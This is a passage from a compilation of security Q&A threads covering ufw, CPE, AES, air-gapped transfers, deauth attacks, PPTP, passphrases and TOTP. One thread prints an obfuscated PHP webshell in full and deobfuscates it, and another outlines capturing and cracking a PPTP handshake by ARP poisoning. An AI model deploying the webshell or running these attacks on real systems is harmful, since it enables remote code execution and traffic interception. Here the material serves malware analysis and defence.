You can do everything with ufw that iptables can do. You can add only simple rules using the command line. If you want to add more advance rules, then you can accomplish this by editing several ufw config files.
/etc/default/ufw : This is main ufw config file for default policy and kernel modules.
/etc/ufw/before.rules : Rules in these files are calculate before any rules added via the ufw command.
/etc/ufw/after.rules : Rules in these files are calculate after any rules added via the ufw command.
By default UFW allows DHCP, ping and loopback. You can disallow this by editing the before.rules file.
sudo nano /etc/ufw/before.rules

Source
If you scanned your computer from another IP address, or if you edited the default rules, a Nmap scan would probably show nothing.


What does a "-" mean in the Version field in Common Product Enumeration (CPE)? I'm trying to understand the Common Product Enumeration standard published by Mitre.  In the Version field, I've found references to "*" or ANY meaning "Any Version."

However, when I search the CPE Dictionary, I find a dash in that field.  Does that mean "No Version" or possibly "All Versions?"

According the the standard (https://cpe.mitre.org/files/cpe-specification_2.2.pdf), it should mean NA:

"It is often necessary to use a CPE Name when identifying a specific release of a given platform.
If attempting to create a CPE Name for this, and a specific co
mponent is not applicable to the
given platform, then the term '-' should be used.  Note that use of the '-' term is different than leaving the component blank, even though in practice both options might identify with the same set of platform types.  For example, an application may not have different editions.  A CPE Name for such an application may use the '-' term for the edition component."

  cpe:/a:acme:product:1.0:update2:-:en-us

From the usage, it certainly appears to mean null, more often than not.


Are these claims about modern CPUs and AES decryption true? Because of the format this question is in, it was a toss up between posting it to this site or Skeptics, but I went for here in the end because I'm probably more likely to get a definitive answer.

According to the InfoSec-themed Twitter account @SwiftOnSecurity, on a single tweet that is part of a larger thread seen here:

  Fun fact: A modern CPU can decrypt AES at several gigabytes per
  second, at like 3% usage. Seriously this isn't even a consideration
  anymore.

To me, the word "modern" here seems to imply "average", and it's this that made me suspect hyperbole when I initially came across the claim. I find it hard to believe that the average CPU can do this based on my own experiences of using several different RAR-cracking programs to password-crack WinRAR files that employed AES encryption.

I was able to average only 200 p/s on my Dual-Core i3-2100, and all the programs I used took the better part of a day to work their way through a plain-text dictionary of several million passwords. In addition, this was always achieved by pushing the CPU to its limits at 100% usage. Granted, the i3-2100 is no longer a modern CPU, so perhaps it's possible that CPUs released in the last year or so have improved dramatically, hence why I'm here asking the following questions.

Is the average CPU produced in 2017 capable of decrypting AES at several gigabytes per second?

Would such a CPU be capable of doing so at just 3% of its usage?

Does the quote in question misrepresent or over-simplify the topic, or is it fairly accurate?

Disclaimer: I'm by no means an InfoSec professional, nor have I studied information security in any depth, so I apologise in advance if I'm speaking from a place of unforgivable ignorance here.

AES decryption with the key can definitly happen at GB/s on modern Intel CPUs. Brute-forcing the
entire AES keyspace (e.g. 2^128 possibilities) is considered impossible today by a very large margin (more time than the age of the universe).

AES is regarded as so strong that known-plaintext attacks and differential cryptanalysis can be compared to brute force on getting the plaintext in (un)reasonable time (several billion years) !

AES encryption achieves similiar speeds , therefore SwiftOnSecurity argues that claims on how HTTPS impacts performance are outdated.


My ip is in CBL blacklist The CBL says that somebody in my network just some hours ago connected (again) to 104.244.14.252 (conficker sinkhole).

But as I know, conficker is a malware for windows machines only. It's my home network, and I'm sure that I have no windows machines here, but one was there for about month ago.

I'm trying to detect source IP with wireshark, but still have no results. If it gives you some information, right now I have mac, smart TV and ps4 connected to my network.

How is it possible?

Thanks, Andrew;

If the computer runs win emulators sometimes, it can get infected through that.
It is possible, that there is an unreported mac variant already
Probably its just containing the virus, but macs are not affected. In this case your ip is blocked to stop infecting other win machines. It happened to linux machines too in the case of wannacry.
It can also happen that a bot spoofed its ip through you...

Tip: run some scan for the virus, tell all your contacts that they might be infected, change your ip, ask for delisting, and see if youre still blocked. If yes, youre still infected.

edit:

they usually recommend Mac OS users to update everything and uninstall freeware "antivirus" programs which are actually spywares/viruses or cause problem
if you have Liux on Mac, you should install GUFW firewall, clamTK antivirus and chkrootkit + rootkithunter rootkit-detector apps. The latter 2 have false positives, and require update before scan. They were updated recently, but as I saw the false positive for operation windigo is still there - can be confrmed by 3 tests


Best practices for connecting USB key to secure computer? This is a bit of a hypothetical, but I am interested in an answer. First, I understand that no one can protect themselves against three letter organizations, so I am really just wondering about best practices.

Let's say I have a computer that is not connected to the internet. The computer doesn't even have a modem or wireless capabilities. The computer is used for working on secrets. You might be using the computer to run computations on certain data. Let's say that this data comes from a computer that is connected to the internet. So, one needs to, say, daily, transfer data from the internet connected computer to the secret computer.

The data itself isn't secret, but the outcome of the work done on the secret computer is. No data ever needs to electronically leave the secret computer.

My question is: What is a best practice for transferring files between the two computer?

One problem is that is the same USB key is used every time, then this USB key might be infected and indirectly allow an adversary access to the secret computer. One solution I can think of is to use a new USB key for every transfer, so that a USB key is destroyed after it has been connected to the secret computer. That way no secret work can make it's way to the internet connected computer.

But: Is there a way that doesn't require a new USB key every time?

The main issue with this approach isn't the reuse of the same USB stick. If you're defending against state-sponsored attackers there's a good chance they are able to tamper with your supply of USB sticks and give you some with their malware already preinstalled. However, since the machine has no way of talking back to the outside world to leak the secrets, getting malware on it may not be a big deal.

The problem is that since the machine can write to the USB sticks, it can use those to exfiltrate data. Whether you use new sticks or reuse the same ones, the problem still exists (unless you take great care of securely erasing/destroying the one-time use sticks before discarding them).

What I would recommend is using physically write-once media. An optical disk padded with random data (otherwise there may be a way to burn more data in the free space even on a non-rewritable disc), or a trusted USB stick (with firmware you made yourself or audited) with a physical write-protection switch. That would give the secret machine no way to leak its contents, assuming we discard theoretical attacks like encoding data in the CPU's EMI interference, etc.

You could also use a physical one-way connection like an Ethernet cable with the sending pairs cut, a serial cable with the TX line cut from the secret machine, or an audio cable connected to the audio input of the secret machine. That way it could receive data digitally without requiring human intervention to deal with storage media while having no way of talking back to the outside world.


Does Windows 7 have built in wifi deauthentication attack protection? I'm testing a wifi de-authentication attack and it looks like my Windows 7 client is not getting kicked off the network during the deauthentication. Any explanations as to why that might be?

I've got Kali running aireplay-ng and tested both a directed and broadcast attack. During the broadcast, my XP client very clearly lost its connection.

Confirmed with a packet capture that the Windows 7 client is receiving the deauthentication management frames, although aireplay is getting almost no ack messages back.

I'd like to think either the W7 client is getting disconnected and the application layer just isn't showing the disconnection (the wifi icon in the system tray never drops off) or the system is reconnecting too fast for it to even register it was kicked off, although I doubt these are the case, especially since I can still get to the wifi router management webpage (its not connected to the internet so perhaps thats normal, and I wouldnt be able to connect to an outside webpage?). It's an unprotected network, so theres no .11w running. Is there something simple I'm missing here?

It shouldn't matter. The 802.11 de-authentication attack is not attacking the computer so the Operating System of the client should not matter. It is attacking the network itself by telling the router that the clients are done the connection and are disconnecting.

There are defences for de-authentication attacks but it is not based on the OS. It is basically making the client jump from 1 AP to another to avoid being disconnected.


Are there any known vulnerabilities in PPTP VPNs when configured properly? PPTP is the only VPN protocol supported by some devices (for example, the Asus RT-AC66U WiFi router). If PPTP is configured to only use the most secure options, does its use present any security vulnerabilities?

The most secure configuration of PPTP is to exclusively use:

MPPE-128 encryption (which uses RC4 encryption with a 128bit key)
MS-CHAPv2 authentication (which uses SHA-1)
strong passwords (minimum 128 bits of entropy)

I realize that RC4 and SHA-1 have weaknesses, but I am interested in practical impact. Are there known attacks or exploits that would succeed against a PPTP VPN with the above configuration?

Yes. The protocol itself is no longer secure, as cracking the initial MS-CHAPv2 authentication can be reduced to the difficulty of cracking a single DES 56-bit key, which with current computers can be brute-forced in a very short time (making a strong password largely irrelevant to the security of PPTP as the entire 56-bit keyspace can be searched within practical time constraints).

The attacker can do a MITM to capture the handshake (and any PPTP traffic after that), do an offline crack of the handshake and derive the RC4 key. Then, the attacker will be able to decrypt and analyse the traffic carried in the PPTP VPN. PPTP does not provide forward secrecy, so just cracking one PPTP session is sufficient to crack all previous PPTP sessions using the same credentials.

Additionally, PPTP provides weak protection to the integrity of the data being tunneled. The RC4 cipher, while providing encryption, does not verify the integrity of the data as it is not an Authenticated Encryption with Associated Data (AEAD) cipher. PPTP also doesn't do additional integrity checks on its traffic (such as HMAC), and is hence vulnerable to bit-flipping attacks, ie. the attacker can modify PPTP packets with little possibility of detection. Various discovered attacks on the RC4 cipher (such as the Royal Holloway attack) make RC4 a bad choice for securing large amounts of transmitted data, and VPNs are a prime candidate for such attacks as they by nature usually transmit sensitive and large amounts of data.

If you want to, you can actually try cracking a PPTP session yourself. For a Wi-Fi user, it involves ARP poisoning your target such that the target sends the MSCHAPv2 handshake through you (which you can capture with Wireshark or any other packet capture tool). You can then crack the handshake with tools like Chap2Asleap, or if you have a few hundred dollars to spare submit the captured handshake to online cracking services. The recovered username, hash, password and encryption keys can then be used to impersonate logins to the VPN as that user, or to retroactively decrypt the target's traffic. Obviously, please do not do this without proper authorisation and outside a controlled environment.

In short, please avoid using PPTP where possible.

For more information, see http://www.computerworld.com/s/article/9229757/Tools_released_at_Defcon_can_crack_widely_used_PPTP_encryption_in_under_a_day and How can I tell if a PPTP tunnel is secure?.

Issues discovered with RC4 (resulting in real world security issues in protocols like TLS) can be found in
http://www.isg.rhul.ac.uk/tls/RC4mustdie.html and https://www.rc4nomore.com/

For the cracking portion, refer to
https://www.rastating.com/cracking-pptp-ms-chapv2-with-chapcrack-cloudcracker/ and https://samsclass.info/124/proj14/p10-pptp.htm.


What does this malware php file does and what should be done about it? Can someone please help me understand this code, what it does and what kind of encoding is it? Can this be automatically removed through ssh (there are many, many more similar files found).

<?php
$zvqhai = 'k-98i3v\'raxn*ycdml#u64_gebts2oH5pf';$npazfw = Array();$npazfw[] = $zvqhai[30].$zvqhai[12];$npazfw[] = $zvqhai[9].$zvqhai[24].$zvqhai[21].$zvqhai[15].$zvqhai[2].$zvqhai[21].$zvqhai[24].$zvqhai[15].$zvqhai[1].$zvqhai[33].$zvqhai[14].$zvqhai[24].$zvqhai[21].$zvqhai[1].$zvqhai[21].$zvqhai[21].$zvqhai[9].$zvqhai[3].$zvqhai[1].$zvqhai[25].$zvqhai[14].$zvqhai[25].$zvqhai[28].$zvqhai[1].$zvqhai[25].$zvqhai[25].$zvqhai[20].$zvqhai[3].$zvqhai[2].$zvqhai[15].$zvqhai[14].$zvqhai[2].$zvqhai[31].$zvqhai[28].$zvqhai[5].$zvqhai[31];$npazfw[] = $zvqhai[18];$npazfw[] = $zvqhai[14].$zvqhai[29].$zvqhai[19].$zvqhai[11].$zvqhai[26];$npazfw[] = $zvqhai[27].$zvqhai[26].$zvqhai[8].$zvqhai[22].$zvqhai[8].$zvqhai[24].$zvqhai[32].$zvqhai[24].$zvqhai[9].$zvqhai[26];$npazfw[] = $zvqhai[24].$zvqhai[10].$zvqhai[32].$zvqhai[17].$zvqhai[29].$zvqhai[15].$zvqhai[24];$npazfw[] = $zvqhai[27].$zvqhai[19].$zvqhai[25].$zvqhai[27].$zvqhai[26].$zvqhai[8];$npazfw[] = $zvqhai[9].$zvqhai[8].$zvqhai[8].$zvqhai[9].$zvqhai[13].$zvqhai[22].$zvqhai[16].$zvqhai[24].$zvqhai[8].$zvqhai[23].$zvqhai[24];$npazfw[] = $zvqhai[27].$zvqhai[26].$zvqhai[8].$zvqhai[17].$zvqhai[24].$zvqhai[11];$npazfw[] = $zvqhai[32].$zvqhai[9].$zvqhai[14].$zvqhai[0];foreach ($npazfw[7]($_COOKIE, $_POST) as $jgbht => $mbfusps){function dopvqef($npazfw, $jgbht, $dxflrm){return $npazfw[6]($npazfw[4]($jgbht . $npazfw[1], ($dxflrm / $npazfw[8]($jgbht)) + 1), 0, $dxflrm);}function awtsdc($npazfw, $wiuhpx){return @$npazfw[9]($npazfw[0], $wiuhpx);}function qjgaieb($npazfw, $wiuhpx){$vyaygn = $npazfw[3]($wiuhpx) % 3;if (!$vyaygn) {eval($wiuhpx[1]($wiuhpx[2]));exit();}}$mbfusps = awtsdc($npazfw, $mbfusps);qjgaieb($npazfw, $npazfw[5]($npazfw[2], $mbfusps ^ dopvqef($npazfw, $jgbht, $npazfw[8]($mbfusps))));}

Beautifying this code somewhat gives me this:

$zvqhai = 'k-98i3v\'raxn*ycdml#u64_gebts2oH5pf';
$npazfw = Array();
$npazfw[] = $zvqhai[30] . $zvqhai[12];
$npazfw[] = $zvqhai[9] . $zvqhai[24] . $zvqhai[21] . $zvqhai[15] . $zvqhai[2] . $zvqhai[21] . $zvqhai[24] . $zvqhai[15] . $zvqhai[1] . $zvqhai[33] . $zvqhai[14] . $zvqhai[24] . $zvqhai[21] . $zvqhai[1] . $zvqhai[21] . $zvqhai[21] . $zvqhai[9] . $zvqhai[3] . $zvqhai[1] . $zvqhai[25] . $zvqhai[14] . $zvqhai[25] . $zvqhai[28] . $zvqhai[1] . $zvqhai[25] . $zvqhai[25] . $zvqhai[20] . $zvqhai[3] . $zvqhai[2] . $zvqhai[15] . $zvqhai[14] . $zvqhai[2] . $zvqhai[31] . $zvqhai[28] . $zvqhai[5] . $zvqhai[31];
$npazfw[] = $zvqhai[18];
$npazfw[] = $zvqhai[14] . $zvqhai[29] . $zvqhai[19] . $zvqhai[11] . $zvqhai[26];
$npazfw[] = $zvqhai[27] . $zvqhai[26] . $zvqhai[8] . $zvqhai[22] . $zvqhai[8] . $zvqhai[24] . $zvqhai[32] . $zvqhai[24] . $zvqhai[9] . $zvqhai[26];
$npazfw[] = $zvqhai[24] . $zvqhai[10] . $zvqhai[32] . $zvqhai[17] . $zvqhai[29] . $zvqhai[15] . $zvqhai[24];
$npazfw[] = $zvqhai[27] . $zvqhai[19] . $zvqhai[25] . $zvqhai[27] . $zvqhai[26] . $zvqhai[8];
$npazfw[] = $zvqhai[9] . $zvqhai[8] . $zvqhai[8] . $zvqhai[9] . $zvqhai[13] . $zvqhai[22] . $zvqhai[16] . $zvqhai[24] . $zvqhai[8] . $zvqhai[23] . $zvqhai[24];
$npazfw[] = $zvqhai[27] . $zvqhai[26] . $zvqhai[8] . $zvqhai[17] . $zvqhai[24] . $zvqhai[11];
$npazfw[] = $zvqhai[32] . $zvqhai[9] . $zvqhai[14] . $zvqhai[0];

foreach($npazfw[7]($_COOKIE, $_POST) as $jgbht => $mbfusps)
{
    function dopvqef($npazfw, $jgbht, $dxflrm)
    {
        return $npazfw[6]($npazfw[4]($jgbht . $npazfw[1], ($dxflrm / $npazfw[8]($jgbht)) + 1) , 0, $dxflrm);
    }

    function awtsdc($npazfw, $wiuhpx)
    {
        return @$npazfw[9]($npazfw[0], $wiuhpx);
    }

    function qjgaieb($npazfw, $wiuhpx)
    {
        $vyaygn = $npazfw[3]($wiuhpx) % 3;
        if (!$vyaygn)
        {
            eval($wiuhpx[1]($wiuhpx[2]));
            exit();
        }
    }

    $mbfusps = awtsdc($npazfw, $mbfusps);
    qjgaieb($npazfw, $npazfw[5]($npazfw[2], $mbfusps ^ dopvqef($npazfw, $jgbht, $npazfw[8]($mbfusps))));
}

This isn't much use although it does seem to be a webshell. Let's dig into it a bit more. Intuition tells me that the first 12 lines or so are for string obfuscation, and dumping the contents of $npazfw will give us the real string values. To do this we can remove the foreach loop and just run this:

for ($i = 0; $i < count($npazfw); $i++)
{
    echo $i . " => " . $npazfw[$i] . "\n";
}

The results are:

0 => H*
1 => ae4d94ed-fce4-44a8-bcb2-bb689dc95235
2 => #
3 => count
4 => str_repeat
5 => explode
6 => substr
7 => array_merge
8 => strlen
9 => pack

This helps a lot! We can now use this to deobfuscate a lot of the rest of it.

Renaming everything and giving variables some proper names, and removing redundant parameters, we get this:

foreach(array_merge($_COOKIE, $_POST) as $input_value_name => $input_value)
{
    function keystream_generate($input_value_name, $len)
    {
        return substr(str_repeat($input_value_name . "ae4d94ed-fce4-44a8-bcb2-bb689dc95235", ($len / strlen($input_value_name)) + 1) , 0, $len);
    }

    function bytesfromhex($hex)
    {
        return @pack("H*", $hex);
    }

    function execute_code($params)
    {
        $param_count_mod3 = count($params) % 3;
        if (!$param_count_mod3) /* this is an obfuscated check for count($params) == 3 */
        {
            eval($params[1]($params[2]));
            exit();
        }
    }

    $input_value = bytesfromhex($input_value);
    execute_code(explode("#", $input_value ^ keystream_generate($input_value_name, strlen($input_value))));
}

Effectively what this does is look in all the cookies and post parameters to find a valid encrypted command payload, then decrypt and eval that payload if one is found.

As for what to do about it, I recommend that you read this question.


How vulnerable are passphrases with grammatical structure? Imagine I create a passphrase using random dictionary words but a common grammatical structure (eg: article, noun, verb, adjective, noun). Given a pretty small dictionary of 5000 words, how vulnerable are such phrases compared to:

passwords with the usual recommendation of 8-16 characters, upper, lower, numbers
some phrase you make up yourself based on your favourite book, poem, quote, or whatever
diceware style phrases (5 random words stuck back-to-back)
the PGP recommendation of "shocking nonsense" (which is similar to what I'm doing)

A few examples of what I'm thinking of:

its headlock fumbled my angle
should its mimosa withstand an oath
a harpoon might expertly staff our ratios
the Sumerian ambushes the tiny murmur

Are there known ways to attack such passphrases beyond checking for common words first in a brute force attack? Can you think of a better way than this?

How effective would Markov Chains or n-grams be based on large word corpus's (eg: Google Web or Brown)? My gut feel is the 'nonsense' nature of the phrases would mitigate many common chains of words, but is there any research or off-the-shelf cracker I could use to verify that?

Effect of Grammar on Security of Long Passwords is relevant, they even highlight a nonsense passphrase of their own as unexpectedly good (hammered arsine requirements), but my understanding of their paper is they're trying most common words first. This question is also relevant.

Full disclosure: I'm developing a passphrase generator which uses this grammatical technique to assist memorisation, but still keeping the words used random. I'm interested in some critique of my algorithm, while still fitting within the Q&A style of Stack Overflow.

The major finding of the paper you linked is that grammatical sentences do not have the entropy you'd expect from sentences of that length. A reasonable response to that would be to just not count the words you're adding to make the sentence 'correct'; choosing one of your examples a harpoon might expertly staff our ratios should be considered about as strong as harpoon expertly staff ratios.

If you're looking for maximum password strength; you should also avoid words that follow grammatical rules, from the paper:

  Grammatical structures, or tag-rules, split the password search space unevenly; the size of the search space of individual tag-rules are diﬀerent e.g. the size of “Noun Noun” is greater than the size of “Adjective Noun”.

Implying that you should avoid 'adjective noun' to maximise your entropy. This is true even if your algorithm generates them randomly, as the structure functions to compress the password. It's also worth noting that the paper didn't look for pairs that made sense together (watery scissors would have been tried).

The point in the paper of choosing common words first wouldn't decrease its effectiveness against random, but approximately correctly formed, sentences; you can always design your dictionary to distribute words randomly by frequency. It's not so much that they try common words first, but that they try groups that are often seen together, together.

There has also been some research on the Markov model you suggest; it may be worth running that sort of analysis over the password you generate before presenting it to the user?

You may find the answers in this related question of interest.


How to securely exchange a symmetric key over a unsecure netwrok I need to build a project for uni where I need to transfer data securely from a client to a server. I can't use PKI structures and can't save pre-shared secrets (Imagine travelling to china and some bad guys check your pc). The only secret is the client's password, which got salted, hashed  and saved into the database of the server.

So I thought about this:
Generate the hash on the client pc. Generate a key from this (using pdkf2) on the pc as well on the server. This key is now the symmetric key. The client encrypts a specific, non secret phrase and sends to the server, who decrypts it and checks if its the "expected" phrase. If yes, the client is now authenticated. This happens a second time, just the other way around. So now both know the other one is not faked. Then, the client can encrypt the data, send it to the server who can decrypt the data.

Is this really secure? How can I be sure that after inital "handshake", they are still the same?
If this is a bad idea, how would you solve this problem?

Please note, that I'm really new to this. Thank you

Let me first say, cryptography is hard and I highly recommend you do not attempt to invent a novel crypto system.

With that said, it seems you are interested in some form of ephemeral diffie-hellman key exchange.

Edit As pointed out in the comments, my initial answer was not thorough enough to be helpful

  I need to build a project for uni where I need to transfer data securely from a client to a server

If this is an academic project, and you assignment is to design a novel cryptosystem then you may want to go the the crypto stack exchange site. But if you are doing this to secure something out in the wild, my statement still stands, do not invent a novel cryptosystem.

  I need to transfer data securely from a client to a server. I can't use PKI structures and can't save pre-shared secrets (Imagine travelling to china and some bad guys check your pc). The only secret is the client's password, which got salted, hashed and saved into the database of the server.

You may want to assess this requirement and ask yourself or the person you are implementing this for: How do the client and the server know they are communicating with the correct entity? Anything you do without this assurance is not technically secure. This is why PKI exists.

Maybe your assignment is to implement something that builds on top of the Web of trust model. Something like Pretty Good Privacy (PGP) where the client initiates communication with the server using the public key of the server (which is technically not a secret). Even this is built on the assumption that the private key doesn't get into the hands of the wrong person.

  Is this really secure? How can I be sure that after inital "handshake", they are still the same?

You would have to ask someone who is an expert in cryptography, but I would say doing this step "Generate the hash on the client pc. Generate a key from this (using pdkf2) on the pc as well on the server. This key is now the symmetric key." without first preventing a MitM attack will break the security of the rest of the system.


Is it safe to use virtual machines when examining malware? We want to study for the CEH program and have downloaded 12 DVDs that 6 DVDs are software key-loggers, Trojans, etc. that are all detected by antivirus. This prevents us from examining them and learning how they work.

I have instructed students not to uninstall antivirus as running these malicious files is not safe on its own. It might even spread on the network.

One of the students suggests to use Windows XP mode. Is this safe? I see these articles 1 and 2 here but the answers are contradictory and confuse us.

Are virtual machines safe for downloading and installing Trojans, key-loggers, etc.?

Is there another way to solve this problems, e.g. set up a lab, to show what happens to victims of the malware?

Are virtual machines safe for this?  The answer is the same as for a lot of questions of the form "Is X safe?": no, it's not absolutely safe.

As described elsewhere, bugs in the virtual machine or poor configuration can sometimes enable the malware to escape.  So, at least in principle, sophisticated malware might potentially be able to detect that it's running in a VM and (if your VM has a vulnerability or a poor configuration) exploit the vulnerability or misconfiguration to escape from your VM.

Nonetheless, it's pretty good.  Probably most malware that you run across in the field won't have special code to escape from a VM.

And running the malware in a VM is certainly a lot safer than installing it directly onto your everyday work machine!

Probably the biggest issue with analyzing malware samples in a VM is that some malware authors are starting to get smart and are writing their malware so that it can detect when it is run in a VM and shut down when running inside a VM.  That means that you won't be able to analyze the malicious behavior, because it won't behave malicious when it's run inside a VM.

What alternatives are there?  You could set up a sacrificial machine on a local machine, install the malware on there, then wipe it clean.  Such a test network must be set up extremely carefully, to ensure that the malware can't propagate, can't spread to other machines of yours, and can't do any harm to others.

References:

Is it safe to install malware in a VM  (Summary: "There is no simple answer", and there are some risks)
How secure are virtual machines really? False sense of security?  (Summary: there are definitely some risks that could allow malware to escape the VM)
Does a Virtual Machine stop malware from doing harm?  (Summary: there have occasionally been vulnerabilities that has enabled malware to escape the VM)


Spoofing HTTP Request headers within javascript? Is it possible to spoof http request headers within javascript inside the client browser?

I was wondering whether it would be possible to modify the http request headers (such as HOSTS:) for sites that are using image pixel tracking.

Unlikely as this would be a serious security issue. However, as @elsadek suggests, it might be possible from a browser addin which has more access. Certainly not possible from in-page JavaScript.

However, in terms of blocking tracking pixels. The issue is, how do you know whether an image will be a tracking pixel image BEFORE you access it? Once your browser has issued the request for it, the server already has your details.


Should I tunnel multiple TCP connections through a TLS/SSL tunnel or use TLS/SSL for each connection? I am developing an application that runs on Windows PCs. The application is able to connect to some kind of devices within a LAN. It can create multiple TCP-connections to the device it is connected to. I want to secure every single TCP-connection with TLS/SSL.

The naive solution for this would be to use TLS/SSL for every TCP-connection between my application and the device on the other side. However I am not sure on how much overhead this will produce since every TCP-connection will have to go through the whole TLS/SSL negotiation/authentication process. I don't see any need for that since the application/PC only needs to negotiate/authenticate. All TCP-connections will then use the same encryption. There is also an FTP-server on the device that I want to use (I am thinking of FTP over SSL).

Is it possible to create a single TLS/SSL connection from my PC to the device and then forward all of my TCP/FTP data through this tunnel? Is this the right solution, or would it be better to create a single TLS/SSL connection for every connection I intend to make between my application and the device?

This sounds like you are looking for a VPN but want TLS to provide the security (instead of e.g. IPSec). If platform compatibility is not your concern, then Microsoft has developed a Secure Socket Tunneling Protocol which uses such an SSL-VPN scheme.
If the "some kind of devices" you are talking about are also Windows-based, then you might not even need additional software to implement SSTP.

I do not have any more knowledge about SSTP, but the Wikipedia link and the MSDN resources linked in said Wikipedia article should provide all needed information.

An alternative would be OpenVPN which can also use TLS as underlying connection protocol, supporting server side and client side certificates for authentication.


Can two TOTP clients register at the same time and generate the same tokens? Note that I'm not talking about systems like Authy, where you can log in to your account on multiple devices and sync your tokens between them -- I'm referring to two completely separate devices that have no knowledge of each other.

Consider the typical two-factor auth setup flow for a consumer website:

User logs in and navigates to the "set up 2FA" page.
Site generates and displays a 2D barcode to the user.
User takes a picture of the barcode with their 2FA app and it generates a token.
User submits token to the site.
Site validates/finalizes the setup and 2FA is enabled.

During step 3, if two different devices scanned the barcode, would they then begin to generate the same series of tokens? If so, would they have to scan the barcode at roughly the same time to start with the same initial values?

I'm curious if it is possible to either shoulder-surf the barcode from an unsuspecting user's screen or, for example, see a barcode in video footage (perhaps from a security camera or local news broadcast) and use that to clone a 2FA token without the user's knowledge.

Basically, yes.

The algorithm used relies on the secret key (often provided in barcode form) and an accurate time. Based on the combination of these, it provides a short code which the server can compare against.

In fact, the server will usually accept the previous and next codes for a while too, since either the server, or the end user devices might well be slightly out - the tolerance for this is dependent on the security of the service, where high security implementations will assume the end user has a very accurate device, and lower security ones might allow the user to provide one of three tokens at any given time.

You can test this by setting up multiple devices with a single barcode - you don't even need to scan them at the same time. However, you do need their clocks to be in sync - if they are slightly out, one will show the "old" code for a while before updating.


Two servers talk over HTTPS - do I need more security? I have two Apache PHP servers that talk to each other with curl, exchanging GET/POST requests. I want to secure that communication.

Both servers are using HTTPS. Does that mean that using anything else would be overkill? I mean do I need to encrypt anything else or can I just go ahead and send data in plain format?

If both servers talk to each other with HTTPS, use strong ciphers with HTTPS and properly check the certificate of the peer than the connection between those servers can be considered properly protected. If you need more security for the transport protection you might use certificate pinning to.

But, protecting the connections means only this. It does not mean that the data are protected against modification outside the connection, i.e. before encryption or after decryption. It also does not mean that only innocent data gets served.


What can an attacker know with knowledge of a device's BD_ADDR? Lots of articles mention the importance of keeping the BD_ADDR secret as knowing it can allow an attacker to do stuff. What can an attacker really do?(Assuming that he has knowledge of the UAP + LAP but not NAP which is irrelevant) The most I can think of is that the attacker can attempt to connect to that device even when it is not in discoverable mode but the victim can simply decline the pairing and nothing happens right?

It varies by device but in a nutshell with the BD_ADDR attackers can now make use of knowing the devices hopping pattern allowing extracting of data to be possible.

The attacker can then force a rekey of the Secret Link key by impersonating a device that was paired with the target allowing them now to be paired.

The piece where you say decline pairing would not necessarily happen as the device may well believe the impersonating device is indeed on the known device list and not see it as being attacked.


Securing my Firebase account I use a firebase database to store users locations in it (by using GeoFire).

Except for this parameter, everything else in the database does not include any information.

My problem is that I cannot encrypt the coordinates since the GeoFire won't manage to query the data.

My question is more general than how to encrypt data.

Firebase is basically connected to my google account which means that if someone hacks my google account he has access to my database.

Yes, I use 2 auth steps for my google account however I'm wondering what are the steps that I need to do in order to maximize the security before I publish my app.

I changed all of the security rules in my database but it all worth nothing if someone just hacks my google account and changes everything.

So I'm asking how I can secure this firebase account that I will only be able to sign in to the database from my computer for example or to make sure that even if someone hacks my google account he won't be able to get into the firebase database.

Well ... besides using a security-token (e.g. YubiKey) as the 2nd factor:

Google does offer an advanced-Security Program for activists, journalists, etc which would fit perfectly with your needs.
https://landing.google.com/advancedprotection/

But you do need to buy two hardware-security keys, because one is always needed when logging in at another location.
And the other one if you ever happen to lose your first one. Maybe because without any pre-configured security-token you might not be able to change any settings etc.?

I would buy at least two. YubiCo does offer several options, where the cheapest is already everything you need for U2F.
Set up both and place your 1st key on your (actual) keychain and your 2nd one in a safe at a 3rd-party (your grandma's house or your bank).


What is a current best practice example of basic encryption and decryption in PHP? I have a good working knowledge of basic security best practices (password hashing, preventing sql injection, CSRF, etc.) but am completely at a loss for finding a solution to common-case encryption and decryption in PHP.

Google is little help, with most results being heavily-criticised for being insecure by design or simply out-dated (e.g. EBC) and to add to the confusion, the plethora of libraries seems to offer little confidence over each other.

Say I have a string of plaintext and a key that will not change and I want to be able to encrypt and decrypt that string at will using that key with as little code as possible (ideally a one-liner) and while adhering to current best practice. Could someone please provide an example of this in PHP?

A great example of where this would be useful is when storing sensitive data in WordPress. The Options API makes basic storage and retrieval really easy, but often you need to store credit card details, API keys, etc. and a really simple one-liner would greatly improve the situation.

Also, if I'm asking in the wrong place and there already exists an always-up-to-date source for this exact problem, please feel free to direct me there.

EDIT: The key should support an arbitrary string, so you could use WordPress's AUTH_KEY if desired and to keep it simple.

I don't think there is any one line function or method for encryption and decryption.
You can try this, its pretty easy

https://github.com/CoreProc/crypto-guard

Sample:

<?php

require 'vendor/autoload.php';

use Coreproc\CryptoGuard\CryptoGuard;

// This passphrase should be consistent and will be used as your key to encrypt/decrypt
// your string

$passphrase = 'whatever-you-want';

// Instantiate the CryptoGuard class

$cryptoGuard = new CryptoGuard($passphrase);

$stringToEncrypt = 'test';

// This will spit out the encrypted text

$encryptedText = $cryptoGuard->encrypt($stringToEncrypt);

// This should give you back the string you encrypted

echo $cryptoGuard->decrypt($encryptedText);


SFTP on Windows - is it likely to be disabled? I'm a software engineer and I'm maintaining a product that allows a user to run commands and scripts on Linux servers via an SSH connection. We now need to extend this functionality onto Windows.

We have a working solution, using freeSSHd on the Windows server. We're able to connect via SSH and run commands. In order to allow us to run scripts, we need to transfer the script from the Linux web server onto the Windows server via SFTP. We then delete the script once it has run and we have the output.

My question is simple: I'm unfamiliar with SSH on Windows and I'm wondering if a user has SSH configured, how likely is it that they'll have SFTP disabled. I'm aware that SSH isn't standard on Windows and that a user would need to install their own SSH server (freeSSHd in my case). I'm also aware that SFTP is a "subset" of SSH and uses the same port with the same credentials. What I'm concerned about is that a user could refuse to enable SFTP (despite having SSH enabled), meaning that our "solution" won't work.

Basically, is there a precedent or accepted security standard on Windows that would mean that a user would refuse to enable SFTP for some valid, tangible reason, or is the fact that SSH is enabled sufficient to assume that there will be no issues enabling SFTP? Is there anything that would give a user grounds to refuse to enable SFTP despite having SSH installed and enabled?

Because SFTP runs over the same protocol as SSH, there is no valid technical reason to refuse to enable SFTP.

That said, there may be company policies that prevent this. There is a big difference between an SSH connection to issue commands, and an SFTP to transfer files. A company might accept the risk of allowing an approved account to access another machine, but might balk at the transfer of data.

So, technically, the risk is the same. Functionally, there is a big difference and an organization might have a policy against it.

This is the case in an area of my organization. We allow SSH to some servers, but no data transfer to/from those servers and have monitoring to ensure that the traffic flow stays below a certain threshold. Granted, it's a special case, but there's precedent.


Why do we need to sign the self-signed certificate? When we add a self-signed certificate to a device's list of trusted root certificates, we're already trusting it. So, why should it be signed with the server's private key?

